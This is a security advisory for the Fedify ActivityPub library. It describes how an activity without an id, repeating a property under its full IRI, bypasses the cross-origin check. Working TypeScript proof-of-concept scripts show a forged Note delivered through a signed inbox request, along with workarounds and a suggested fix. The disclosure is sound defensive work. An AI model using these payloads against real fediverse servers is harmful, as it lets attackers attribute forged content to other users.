# GHSA-R388-57J3-5FGP: Property accessors trust cross-origin embedded objects of an object without an id when it repeats a property under its full IRI

- Database: GitHub
- Severity: CVSS 5.3 (Medium)
- Published: 2026-11-21
- Modified: 2026-11-21

## Affected versions

- @fedify/vocab (npm): from 2.0.0, through 2.4.5
- @fedify/fedify (npm): from 1.9.0, through 2.4.5
- @fedify/vocab-tools (npm): from 2.0.0, through 2.4.5

## Description

### Summary

The generated property accessors in `@fedify/vocab`, such as `Create.getObject()` and `Collection.getItems()`, do not return an embedded object whose `id` is on another origin than the `id` of the object that embeds it.  By default (`crossOrigin: "ignore"`) they fetch it by its `id` instead, as [FEP-fe34] requires.  When the embedding object has no `id` of its own, this works on the decoded value, but a second code path that re-decodes the embedded object from the cached JSON-LD skips the origin check entirely.

An attacker can reach that path by sending an object without an `id` that has the same property twice: once under its compact name with the forged object, and once under its full IRI with an ID-less placeholder.  The accessor then returns the forged object, which claims to live on the victim's origin, without fetching anything.

This reaches inbox listeners: Fedify's inbox accepts signed activities without an `id`, and the inbox origin check added for [GHSA-4qhx-hhwf-8685] only applies to activities that have one.  That advisory states that an activity without an `id` is not affected; with this payload, it is.  It also reaches `@fedify/backfill`, whose fix for [GHSA-x58x-xx7h-7rh4] relies on the default accessor behavior.

Suggested severity: Moderate, [CVSS 3.1] `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N` (5.3).

[FEP-fe34]: https://w3id.org/fep/fe34
[GHSA-4qhx-hhwf-8685]: https://github.com/fedify-dev/fedify/security/advisories/GHSA-4qhx-hhwf-8685
[GHSA-x58x-xx7h-7rh4]: https://github.com/fedify-dev/fedify/security/advisories/GHSA-x58x-xx7h-7rh4
[CVSS 3.1]: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

### Details

Line references are to *packages/vocab-tools/src/property.ts* on `2.3-maintenance` at [ce471cc].

A singular accessor such as `getObject()` takes the decoded value and checks it first ([L277-L291]).  This check compares against `this.id?.origin`, so for an owner without an `id` any embedded object with an `id` counts as cross-origin and is fetched by that `id`:

~~~~ typescript
if (options.crossOrigin !== "trust" && !(v instanceof URL) &&
    v.id != null && v.id.origin !== this.id?.origin &&
    !this.#_trust.has(0)) {
  v = v.id;
}
~~~~

If the value is still embedded, and the cached JSON-LD has the property under its compact name with its own `@context`, the accessor decodes that document again and replaces `v` with the result ([L293-L321]).  The result is then checked once more ([L323-L346]), but this check requires the owner to have an `id`:

~~~~ typescript
if (options.crossOrigin !== "trust" && v?.id != null &&
    this.id != null && v.id.origin !== this.id.origin &&
    !this.#_trust.has(0)) {
  // refuse the object
}
return v;
~~~~

So the object returned for an owner without an `id` is never origin-checked if it came from the cached JSON-LD.

The two paths normally see the same object.  They can be made to see different ones because JSON-LD expansion merges a property written under its compact name with the same property written under its full IRI.  In the payload below, the expanded `object` has two values, and the decoded value at index 0 is the ID-less placeholder, which passes the first check.  The re-decoding path reads only the compact `object` key, which holds the forged `Note`.

The affected code is generated for every object-valued property with a compact name; the accessors listed in the advisory metadata are representative examples.  The plural accessors (`getObjects()`, `getItems()`, and so on) have the same structure ([L385-L402], [L404-L434], [L436-L459]).  The second check there also tests `#_trust.has(0)` where it means `has(i)`.  No way to exploit that on its own was found: the trust set is filled only by the constructor and by fetches, fetches clear the cached JSON-LD, and `fromJsonLd()` does not fill it.  It is fixed on `2.4-maintenance` and should be fixed on older branches along with this.

On `2.4-maintenance` ([2a78382]), the checks call `isTrustedIriOrigin()` instead of comparing `URL.origin`, but the second check is still guarded by `this.id != null` ([L477-L546]), and the published 2.4.5 release behaves the same as 2.3.

On `main`, the re-decoding path was removed in [6e344ff] (#1356, “Decode embedded objects with the whole document”), which is not in a release yet.  Accessors now decode embedded objects once, from the whole document, so the placeholder trick has no second path to use.  The `this.id != null` condition is still in the second check on `main`, but the value it sees has already passed the first check.

The cross-origin check was introduced in 1.9.0 ([45b856c]).  The re-decoding path is older (1.3.0, 23a96c0), but 1.8.x and earlier trust every embedded object, so they have no check to bypass.

[ce471cc]: https://github.com/fedify-dev/fedify/tree/ce471cc8367b395c944a9d60e7f8ae1b7f3498f3
[L277-L291]: https://github.com/fedify-dev/fedify/blob/ce471cc8367b395c944a9d60e7f8ae1b7f3498f3/packages/vocab-tools/src/property.ts#L277-L291
[L293-L321]: https://github.com/fedify-dev/fedify/blob/ce471cc8367b395c944a9d60e7f8ae1b7f3498f3/packages/vocab-tools/src/property.ts#L293-L321
[L323-L346]: https://github.com/fedify-dev/fedify/blob/ce471cc8367b395c944a9d60e7f8ae1b7f3498f3/packages/vocab-tools/src/property.ts#L323-L346
[L385-L402]: https://github.com/fedify-dev/fedify/blob/ce471cc8367b395c944a9d60e7f8ae1b7f3498f3/packages/vocab-tools/src/property.ts#L385-L402
[L404-L434]: https://github.com/fedify-dev/fedify/blob/ce471cc8367b395c944a9d60e7f8ae1b7f3498f3/packages/vocab-tools/src/property.ts#L404-L434
[L436-L459]: https://github.com/fedify-dev/fedify/blob/ce471cc8367b395c944a9d60e7f8ae1b7f3498f3/packages/vocab-tools/src/property.ts#L436-L459
[2a78382]: https://github.com/fedify-dev/fedify/tree/2a78382f6c9f0b01f1ed291f7f32f158e73bf5e9
[L477-L546]: https://github.com/fedify-dev/fedify/blob/2a78382f6c9f0b01f1ed291f7f32f158e73bf5e9/packages/vocab-tools/src/property.ts#L477-L546
[6e344ff]: https://github.com/fedify-dev/fedify/commit/6e344fffab38c1717161ccf4410371710094fc60
[45b856c]: https://github.com/fedify-dev/fedify/commit/45b856c22c15ae1286ee9e46bcf682089d065a4c

### Where attacker-supplied objects without an `id` come from

Inbox delivery is the most direct path.  `handleInbox()` requires an actor and an HTTP signature (or other proof) from a key the actor owns, but not an `id`.  The same-origin check between the activity and its actors is skipped when the `id` is missing.  An attacker with an actor on their own server can therefore deliver a signed `Create` or `Announce` without an `id`, and the listener's `getObject()` returns the forged object.  This is the case shown in the proof of concept.

In `@fedify/backfill`, a collection page embedded without an `id` in a context collection, or a context collection without an `id`, makes `getItems()` yield a forged item.  This was reproduced from source on the private fix branch for [GHSA-h3jv-px69-2gpj], which is based on `2.3-maintenance` and also contains the fix for [GHSA-x58x-xx7h-7rh4].

Any other application code that calls `fromJsonLd()` on remote JSON and then uses the accessors, or uses the accessors on a fetched document that has no `id`, is affected in the same way.  This was not tested for `lookupObject()` specifically.

[GHSA-h3jv-px69-2gpj]: https://github.com/fedify-dev/fedify/security/advisories/GHSA-h3jv-px69-2gpj

### Affected versions

The vocabulary-level script below was run with Deno 2.8.3 against the latest release of each line, from both npm and JSR where noted.  On 1.x, it imports `@fedify/fedify/vocab` instead of `@fedify/vocab`.  The inbox script was run against 1.9.13, 2.0.35, and 2.4.5.

| Version                                           | Result                                                           |
| ------------------------------------------------- | ---------------------------------------------------------------- |
| 1.8.15                                            | Predates the origin check; still returns forged embedded content |
| 1.9.0, 1.9.13, 1.10.0, 1.10.12 (npm; JSR 1.10.12) | Affected                                                         |
| 2.0.0, 2.0.35, 2.1.31, 2.2.20, 2.3.0, 2.3.15      | Affected                                                         |
| 2.4.2, 2.4.5 (npm and JSR)                        | Affected                                                         |
| 2.5.0-dev.2835 (`main`, after 6e344ff)            | Not affected (returns the placeholder)                           |

The affected ranges describe a bypass of the origin policy introduced in 1.9.0.  Earlier releases lack that protection altogether and are not a safe downgrade.

The `2.4-maintenance` branch has not been run from source; the conclusion that it is still affected comes from the 2.4.5 release and from reading the branch.

### Proof of concept

The first script needs no configuration file and only the npm registry.  Run it with `deno run -A poc.ts`:

~~~~ typescript
import { Create } from "npm:@fedify/vocab@2.4.5";

const AS = "https://www.w3.org/ns/activitystreams";
const forged = {
  "@context": AS,
  id: "https://victim.example/notes/1",
  type: "Note",
  content: "forged",
};

for (const id of [null, "https://evil.example/activities/1"]) {
  for (const placeholder of [true, false]) {
    const json: Record<string, unknown> = {
      "@context": AS,
      type: "Create",
      object: forged,
    };
    if (id != null) json.id = id;
    // The same property again under its full IRI, without an id:
    if (placeholder) json[`${AS}#object`] = [{ type: "Note" }];
    const create = await Create.fromJsonLd(json);
    const fetched: string[] = [];
    const object = await create.getObject({
      documentLoader: (url: string) => {
        fetched.push(url);
        throw new Error(`refused to fetch ${url}`);
      },
    }).catch((e: Error) => e.message);
    console.log(JSON.stringify({
      id,
      placeholder,
      fetched,
      result: typeof object === "string"
        ? object
        : object && [object.id?.href, object.content?.toString()],
    }));
  }
}
~~~~

Output:

~~~~
{"id":null,"placeholder":true,"fetched":[],"result":["https://victim.example/notes/1","forged"]}
{"id":null,"placeholder":false,"fetched":["https://victim.example/notes/1"],"result":"refused to fetch https://victim.example/notes/1"}
{"id":"https://evil.example/activities/1","placeholder":true,"fetched":[],"result":null}
{"id":"https://evil.example/activities/1","placeholder":false,"fetched":["https://victim.example/notes/1"],"result":"refused to fetch https://victim.example/notes/1"}
~~~~

Only the first case is wrong.  Without the placeholder, the accessor fetches the `Note` from its origin, as it should.  With an `id` on the activity, the second check refuses the re-decoded object and returns `null`.  Expected output for the first case: a fetch of *https://victim.example/notes/1*, or `null`.

The second script sends the same payload through the inbox of a federation built with `@fedify/fedify` 2.4.5, which already includes the fix for GHSA-4qhx-hhwf-8685.  Save it as *poc-inbox.ts* and run `deno run -A poc-inbox.ts`:

~~~~ typescript
import {
  createFederation,
  generateCryptoKeyPair,
  MemoryKvStore,
  signRequest,
} from "npm:@fedify/fedify@2.4.5";
import {
  Create,
  CryptographicKey,
  Note,
  Person,
} from "npm:@fedify/vocab@2.4.5";
import { getDocumentLoader } from "npm:@fedify/vocab-runtime@2.4.5";

const AS = "https://www.w3.org/ns/activitystreams";
const mallory = new URL("https://evil.example/users/mallory");
const keyId = new URL(`${mallory.href}#main-key`);
const { privateKey, publicKey } = await generateCryptoKeyPair(
  "RSASSA-PKCS1-v1_5",
);

// Only Mallory's own documents can be fetched.  Any other fetch throws, so a
// listener that dereferences an object makes the inbox answer 500.
const documentLoader = async (url: string) => {
  if (url !== mallory.href && url !== keyId.href) {
    throw new Error(`refused to fetch ${url}`);
  }
  const document = await new Person({
    id: mallory,
    inbox: new URL(`${mallory.href}/inbox`),
    publicKey: new CryptographicKey({ id: keyId, owner: mallory, publicKey }),
  }).toJsonLd();
  return { documentUrl: url, contextUrl: null, document };
};

const federation = createFederation<void>({
  kv: new MemoryKvStore(),
  contextLoaderFactory: () => getDocumentLoader(),
  documentLoaderFactory: () => documentLoader,
  authenticatedDocumentLoaderFactory: () => documentLoader,
});
federation.setActorDispatcher("/users/{identifier}", () => null);
const seen: unknown[] = [];
federation
  .setInboxListeners("/users/{identifier}/inbox", "/inbox")
  .on(Create, async (_ctx, create) => {
    const object = await create.getObject();
    seen.push(object == null ? null : {
      objectId: object?.id?.href,
      attributedTo: object?.attributionId?.href,
      content: object instanceof Note ? object.content?.toString() : null,
    });
  });

async function send(label: string, id: string | null, placeholder: boolean) {
  seen.length = 0;
  const activity: Record<string, unknown> = {
    "@context": AS,
    type: "Create",
    actor: mallory.href,
    object: {
      "@context": AS,
      id: "https://victim.example/notes/1",
      type: "Note",
      attributedTo: "https://victim.example/users/alice",
      content: "forged",
    },
  };
  if (id != null) activity.id = id;
  // The same property again under its full IRI, without an id:
  if (placeholder) activity[`${AS}#object`] = [{ type: "Note" }];
  const request = await signRequest(
    new Request("https://local.example/inbox", {
      method: "POST",
      headers: { "content-type": "application/activity+json" },
      body: JSON.stringify(activity),
    }),
    privateKey,
    keyId,
  );
  const response = await federation.fetch(request, { contextData: undefined });
  console.log(label, response.status, JSON.stringify(seen));
}

// No id, with the placeholder: getObject() returns the embedded copy.
await send("no id, placeholder:", null, true);
// Controls: getObject() tries to fetch the Note, which is refused here, or
// refuses the embedded copy.
await send("no id, no placeholder:", null, false);
await send("own id, placeholder:", "https://evil.example/activities/1", true);
~~~~

Output:

~~~~
no id, placeholder: 202 [{"objectId":"https://victim.example/notes/1","attributedTo":"https://victim.example/users/alice","content":"forged"}]
no id, no placeholder: 500 []
own id, placeholder: 202 [null]
~~~~

The same happens with `Announce` instead of `Create` (checked from source on the private fix branch for GHSA-h3jv-px69-2gpj, based on `2.3-maintenance`).

### Impact

This is an origin validation error ([CWE-346]) of the same kind as GHSA-4qhx-hhwf-8685, reached through a different payload: an application receives an object that claims to live on another server, and Fedify does not fetch it from there.

 -  An application that stores or displays the objects returned by `getObject()` and the other accessors can be made to show content attributed to a user on another server who never wrote it.  If the application checks the attribution against the activity's actor, as the [microblog tutorial] does, the attacker can attribute the object to themselves and still place it under an IRI of the victim's server, where it can collide with or stand in for the genuine object.  An `Announce` usually has no such attribution check, so it can present a forged copy of a victim's post as a boost.
 -  Applications that persist backfilled items by `id` are exposed to the content-spoofing case described in GHSA-x58x-xx7h-7rh4, even after that fix.

The attacker needs an actor with a key on a server they control for the inbox path, or control of a document that backfill or the application fetches.  No interaction from the victim is needed.  Fedify itself does not persist objects; the actual damage depends on what the application does with them.

[CWE-346]: https://cwe.mitre.org/data/definitions/346.html
[microblog tutorial]: https://fedify.dev/tutorial/microblog

### Workarounds

Before storing or displaying an object with an `id` that an accessor returned from an object without an `id`, fetch it again by its `id` with `lookupObject()` under the default origin policy, and use only the fetched copy.  Apply this to nested objects and backfilled items too.  Passing `crossOrigin: "throw"` does not help, because the skipped check is the one that would throw.

Rejecting inbox activities without an `id` blocks the direct `Create` and `Announce` payloads shown above, but not every inbox path: an anonymous object nested inside an activity that has an `id` works the same way.  This was reproduced on 2.4.5 with a signed `Create` that has an attacker-origin `id` and embeds an anonymous `Create`; a listener that calls `getObject()` on both receives the forged `Note`.

### Suggested fix

On the maintenance branches, make the second check treat an owner without an `id` the way the first check already does, by dropping the `this.id != null` condition from both the singular and the plural template:

 -  On 2.0 to 2.3, compare `v.id.origin !== this.id?.origin`, and use `this.id?.href ?? null` in the error message and log, which currently dereference `this.id.href`.
 -  On 2.4, drop the `this.id != null &&` prefix that is emitted when `trustEmbeddedObjects` is not `false`.  For an embedded value with an `id`, `isTrustedIriOrigin()` already returns `false` when the owner `id` is `null` under the default policy and `crossOrigin: "throw"` (it returns `true` for `crossOrigin: "trust"`, as intended), and the messages already use `this.id?.href ?? null`.
 -  On 2.0 to 2.3, change `#_trust.has(0)` to `#_trust.has(i)` in the plural template, as on 2.4.

This keeps the current behavior of the second check, which refuses the object (or throws with `crossOrigin: "throw"`) instead of fetching it.  Fetching by `id`, as the first check does, would be more consistent but changes what callers get in the case where the owner has an `id`.

The same changes apply to 1.9 and 1.10 in *packages/fedify/src/codegen/property.ts*, but those lines are unmaintained and no patched 1.x release is planned; users of 1.x should move to a maintained release that contains the fix.

An additional safeguard could keep the first decoded value when re-decoding changes its `id`.  Such mismatches also occur with ordinary inherited JSON-LD contexts (for example, a parent context that aliases `@id`), so that change would need compatibility tests.  Removing the exemption for owners without an `id` from the second check addresses this bypass directly, without relying on an ID-mismatch heuristic.  Backporting 6e344ff itself would be a much larger change.

Each fix needs the distributed vocabulary and the generator snapshots regenerated, and regression tests with the placeholder payload for a singular and a plural accessor, covering owners with and without an `id`, under both the default policy and `crossOrigin: "throw"`, while keeping the explicit `crossOrigin: "trust"` behavior.  Applications that generated their own vocabulary classes with an affected `@fedify/vocab-tools` must regenerate and rebuild them after upgrading.

## References

- https://github.com/fedify-dev/fedify/security/advisories/GHSA-r388-57j3-5fgp

Page: https://cve.now/GHSA-R388-57J3-5FGP

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
